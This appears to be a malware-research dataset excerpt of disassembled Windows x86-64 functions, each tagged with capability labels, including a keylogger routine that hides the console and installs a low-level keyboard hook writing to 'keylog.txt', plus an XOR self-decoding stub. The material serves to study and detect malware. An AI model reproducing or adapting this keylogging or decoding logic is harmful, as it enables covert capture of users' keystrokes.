joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027794
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x141e2d050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x1400277f9
test rax, rax
jne 0x1400277e7
lea r9, [0x140055590]
lea r8, [0x140055588]
lea rdx, [0x140055590]
lea ecx, [rax + 0xa]
call fcn.1400274b4
test rax, rax
je 0x1400277f9
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.140031bf0
jmp 0x140027813
xor edx, edx
mov rcx, rbp
call fcn.140027a84
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140028354
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140019b80
sub rsp, rax
mov rax, qword [0x141e27080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14002546c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400283a3
mov rax, rbp
jmp 0x1400284af
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x1e295b0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002935c
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x1e295b0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x1400284ab
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400284ab
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002935c
test rax, rax
js 0x1400284ab
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x1400284ab
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14002849d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14002849d
cmp byte [rcx], 0xd
jne 0x140028483
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140028492
cmp byte [rcx + 1], 0xa
jne 0x140028492
inc rcx
jmp 0x140028492
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1e274c0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140028465
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x1400284af
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140019250
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140028644
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x141e295b0]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x14002869a
cmp word [rdx], r9w
jne 0x14002869a
or byte [rax + rbp*8 + 0x38], 4
jmp 0x14002869f
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x14002881e
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x1400287e9
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x1400286e7
cmp rcx, r8
jae 0x140028707
cmp word [rcx], r9w
jne 0x1400286e7
add rax, 4
mov edx, r9d
jmp 0x1400286ea
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x1400286bc
jmp 0x14002881e
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400287e2
cmp dword [rsp + 0x80], edi
je 0x1400287e2
lea r9, [0x141e295b0]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x1400287bc
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x14002876f
mov word [rbx], bp
jmp 0x14002881b
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x14002878a
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x14002881b
cmp word [rsp + 0x70], bp
jne 0x1400287c8
cmp rbx, rsi
je 0x140028767
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140029364
cmp word [rsp + 0x70], bp
je 0x14002881e
mov word [rbx], 0xd
jmp 0x14002881b
mov rcx, r15
lea r9, [0x141e295b0]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140028818
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14002881e
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400110e1
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001af10
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400330f2]
call fcn.140011861
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x14001af67
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x14001b073
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x14001b00c
cmp qword [rbp + 0x28], 0
jle 0x14001b00c
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14001afac
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.1400117ee
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x14001b062
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x14001b062
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x1400114c9
Capabilities:
Terminate process

Disassembly:
jmp 0x14001ef00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400115d2
Capabilities:
Hide graphical window
Log keystrokes via application hook

Disassembly:
jmp 0x14001b140
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x16
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14002c020]
xor rax, rbp
mov qword [rbp + 0x108], rax
lea rcx, [0x1400330f3]
call fcn.140011861
mov r9d, 0x40
mov r8d, 8
lea rdx, str.D:_Programming_C_Education_keylog.txt
lea rcx, [0x14002c690]
call fcn.1400111a4
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x140011294]
mov ecx, 0xd
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov qword [0x14002c670], rax
cmp qword [0x14002c670], 0
jne 0x14001b1fb
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Something_has_gone_wrong_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
cmp eax, 1
je 0x14001b216
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 8]
call qword [sym.imp.USER32.dll_GetMessageW]
jmp 0x14001b1fb
lea rcx, [rbp - 0x20]
lea rdx, [0x140026a00]
call fcn.14001170d
mov rcx, qword [rbp + 0x108]
xor rcx, rbp
call fcn.14001141f
lea rsp, [rbp + 0x118]
pop rdi
pop rbp
ret

Function at 0x1400115f0
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001e150
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001e170
xor al, al
jmp 0x14001e1f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001e183
xor al, al
jmp 0x14001e1f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001e1ad
xor al, al
jmp 0x14001e1f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001e1c1
xor al, al
jmp 0x14001e1f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001e1d3
xor al, al
jmp 0x14001e1f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001e1ef
xor al, al
jmp 0x14001e1f1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011848
Capabilities:
Write file on windows

Disassembly:
jmp 0x140017920
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x14002c020]
xor rax, rbp
mov qword [rbp + 0x1a0], rax
lea rcx, [0x1400330f2]
call fcn.140011861
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x140017986
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001798d
mov al, 1
jmp 0x140017ae7
call fcn.14001126c
mov rcx, qword [rbp + 0x1d0]
mov rcx, qword [rcx]
mov qword [rbp + 0x198], rcx
mov edx, eax
mov rcx, qword [rbp + 0x1d0]
mov rax, qword [rbp + 0x198]
call qword [rax + 0x18]
mov dword [rbp + 0x164], eax
call fcn.14001126c
mov dword [rbp + 0x184], eax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.14001172b
movzx eax, al
test eax, eax
je 0x1400179e8
xor al, al
jmp 0x140017ae7
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x1d0]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x194], eax
cmp dword [rbp + 0x194], 0
je 0x140017a4d
cmp dword [rbp + 0x194], 1
je 0x140017a58
cmp dword [rbp + 0x194], 3
je 0x140017ad6
jmp 0x140017ae5
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140017aa8
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140017aa8
xor al, al
jmp 0x140017ae7
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140017ac3
mov dword [rbp + 0x194], 1
jmp 0x140017acd
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x140017ae7
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140017ae7
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140026880]
call fcn.14001170d
mov rax, rdi
mov rcx, qword [rbp + 0x1a0]
xor rcx, rbp
call fcn.14001141f
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140001644
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000168e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000168e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000168e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000168e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000168e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001690
xor al, al
add rsp, 0x28
ret

Function at 0x140002168
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140002278

Function at 0x140002278
Capabilities:
Parse pe header

Disassembly:
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140002278
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400022e7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400022e7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400022e7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400022e7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400022e7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400022e7
cmp dword [rcx + 0xf8], 0
je 0x1400022e7
mov ecx, ebx
call fcn.1400021e4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000241c
nop
cmp dword [rbp + 0x20], 0
jne 0x140002348
call fcn.140005f74
cmp eax, 1
jne 0x140002338
xor dl, dl
jmp 0x140002342
call fcn.140005f40
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140002353
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140002248
int3

Function at 0x140003270
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140003298
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140003298
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400081c8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400081f8
xor eax, eax
jmp 0x1400082bb
mov rbp, rbx
cmp word [rax], si
je 0x14000821d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140008204
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140008200
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400080e8
movsxd r14, eax
mov rcx, r14
test eax, eax
jne 0x14000825e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400081f1
call fcn.140006b80
mov rdi, rax
test rax, rax
jne 0x140008274
xor ecx, ecx
call fcn.140005100
jmp 0x140008253
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400080e8
test eax, eax
jne 0x1400082a5
mov rcx, rdi
call fcn.140005100
jmp 0x1400082af
xor ecx, ecx
call fcn.140005100
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1410de9d0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1410de9da
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x1410dea03
pop rbp
sub rbp, 0x33
sub rbp, 0x10de9d0
sub rsp, 0x20
jmp 0x1410dea22
mov rax, 0x10de9d0
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x55a7736f
xor byte [rax], dl
inc rax
dec rcx
jne 0x1410dea41
jmp 0x1410dea58
invalid
Function at 0x1400faaa0
Capabilities:
Get disk information
Query environment variable

Disassembly:
mov byte [rsp + 0x20], r9b
mov dword [rsp + 0x18], r8d
mov word [rsp + 0x10], dx
mov word [rsp + 8], cx
push rsi
push rdi
sub rsp, 0x118
lea rax, [rsp + 0x60]
lea rcx, str.arranged_concurring
mov rdi, rax
mov rsi, rcx
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
movzx eax, byte [rsp + 0x148]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
sub eax, 0x41
movsx ecx, byte [rsp + 0x148]
cmp eax, ecx
jge 0x1400fac42
movzx eax, word [rsp + 0x130]
mov word [rsp + 0x40], ax
movzx eax, word [rsp + 0x138]
mov dword [rsp + 0x34], eax
cmp dword [rsp + 0x34], 0x921
je 0x1400fab64
cmp dword [rsp + 0x34], 0xe37
je 0x1400fab29
jmp 0x1400fab86
movsx eax, byte [rsp + 0x30]
shl eax, 0x52
movsx ecx, byte [rsp + 0x148]
cmp eax, ecx
jle 0x1400fab62
movsx eax, byte [rsp + 0x148]
or eax, 0x72
mov byte [rsp + 0x30], al
movzx edx, word [rsp + 0x138]
movzx ecx, word [rsp + 0x130]
call fcn.1400f9b20
nop
jmp 0x1400fab86
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
mov dword [rsp + 0x50], eax
mov eax, 0x173
mov word [rsp + 0x138], ax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x3c], eax
mov byte [rsp + 0x31], 0xb5
movsx eax, byte [rsp + 0x148]
sar eax, 0x71
movsx ecx, byte [rsp + 0x30]
cmp eax, ecx
je 0x1400fabd9
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
mov dword [rsp + 0x38], eax
movsx eax, byte [rsp + 0x148]
add eax, 0x50
mov byte [rsp + 0x30], al
movzx r8d, byte [rsp + 0x148]
movzx edx, word [rsp + 0x138]
movzx ecx, byte [rsp + 0x30]
call fcn.1400f90e0
nop
jmp 0x1400fac42
movsx eax, byte [rsp + 0x30]
sub eax, 0x5a
movsx ecx, byte [rsp + 0x148]
cmp eax, ecx
je 0x1400fac42
mov eax, dword [rsp + 0x38]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
and eax, 0x398e
cmp eax, dword [rsp + 0x38]
jle 0x1400fac42
movzx eax, byte [rsp + 0x31]
sub eax, 8
mov byte [rsp + 0x31], al
mov ecx, dword [rsp + 0x3c]
call fcn.1400f92c0
mov r8d, 0x42
lea rdx, [rsp + 0x60]
lea rcx, str.C:_superstoresChunnelEqualising
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [rsp + 0x54], eax
mov eax, 0x3a9
mov word [rsp + 0x138], ax
movsx eax, byte [rsp + 0x30]
add eax, 0x3e
movsx ecx, byte [rsp + 0x148]
cmp eax, ecx
jge 0x1400fac58
jmp 0x1400fac94
movsx eax, byte [rsp + 0x30]
and eax, 0x52
movsx ecx, byte [rsp + 0x148]
cmp eax, ecx
jne 0x1400fac94
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x58]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ScrollConsoleScreenBufferW]
mov dword [rsp + 0x5c], eax
mov eax, 0x519
mov word [rsp + 0x138], ax
mov r8d, 0x5b
lea rdx, [rsp + 0x90]
lea rcx, str.ambience_soundproofing_Ow
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x3c], eax
movsx eax, byte [rsp + 0x148]
xor eax, 0x2a
mov byte [rsp + 0x30], al
mov eax, 0xcb
add rsp, 0x118
pop rdi
pop rsi
ret
Function at 0x1400fb520
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400fb56a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400fb56a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400fb56a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400fb56a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400fb56a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400fb56c
xor al, al
add rsp, 0x28
ret

Function at 0x1400fe980
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400fe9ef
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400fe9ef
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400fe9ef
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400fe9ef
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400fe9ef
cmp dword [rcx + 0x84], 0xe
jbe 0x1400fe9ef
cmp dword [rcx + 0xf8], 0
je 0x1400fe9ef
mov ecx, ebx
call fcn.1400feaa0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400fe87c
nop
cmp dword [rbp + 0x20], 0
je 0x1400fea3d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400fea48
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1400fe980

Function at 0x1400feb84
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400fe980
Function at 0x1401015e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140101667
mov rsi, rbx
cmp word [rax], bp
je 0x140101626
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140101610
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14010160c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140102000
mov rdi, rax
test rax, rax
je 0x140101654
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140106f50
mov rbp, rdi
xor ecx, ecx
call fcn.1401002a8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1401067b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1401067d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1401067d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret